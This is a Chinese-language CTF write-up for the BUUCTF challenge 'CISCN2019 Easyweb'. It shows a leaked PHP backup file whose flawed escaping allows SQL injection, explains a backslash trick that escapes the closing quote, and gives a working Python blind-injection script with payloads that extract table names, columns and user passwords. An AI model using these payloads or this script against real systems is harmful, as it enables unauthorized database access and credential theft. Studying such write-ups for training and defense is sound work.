buuctf-84-[CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

一个登录界面查看源码发现图片是通过/image.php?id=1获取的猜测这里应该是有sql注入的

日常查看/robots.txt发现存在备份文件

查看image.php.bak

<?php
  include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

发现存在sql注入

1	$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");

需要构造特殊的语句来注入

addslashes($id) 先来看看addslashes()函数

它会在这些符号前添加反斜杠进行转义

官方文档也提及了

如果使用不得当就会出现安全问题

再来看$id=str_replace(array("\\0","%00","\\'","'"),"",$id);

看到$id存在一个替换操作

我们可以构造 $id=\\0=>经过addslashes()=>$id=\\\\0=>str_replace()=>$id=\\(相当于一个反斜杠)

则查询语句就会变为：select * from images where id='\\' or path='{$path}'

id反斜杠转义了'使得$id='\\' or path='那么我们就可以在$path输入我们的注入语句

接下来就是一个常规的二分法盲注

脚本如下：

import requests
import time
url='http://3f7e38a8-5912-4127-be50-a4870ab3b5ad.node4.buuoj.cn:81/image.php'
result=''
for i in range(40):
    low=31
    high=127
    mid=(low+high)//2
    while low<=high:
        payload={
        "id":"\\0",
        "path":" or ascii(substr((select password from users),{},1))>{}#".format(i,mid)}
        #爆表: or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{} #
        #爆字段: or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{} #
        #爆数据: or ascii(substr((select password from users),{},1))>{} #
        r = requests.get(url=url,params=payload)
        if ("JFIF" in r.text):
            low = mid + 1
            mid=(low+high)//2
        else:
            high = mid - 1
            mid=(low+high)//2
    result+=chr(high+1)
    print(result)
    time.sleep(0.3)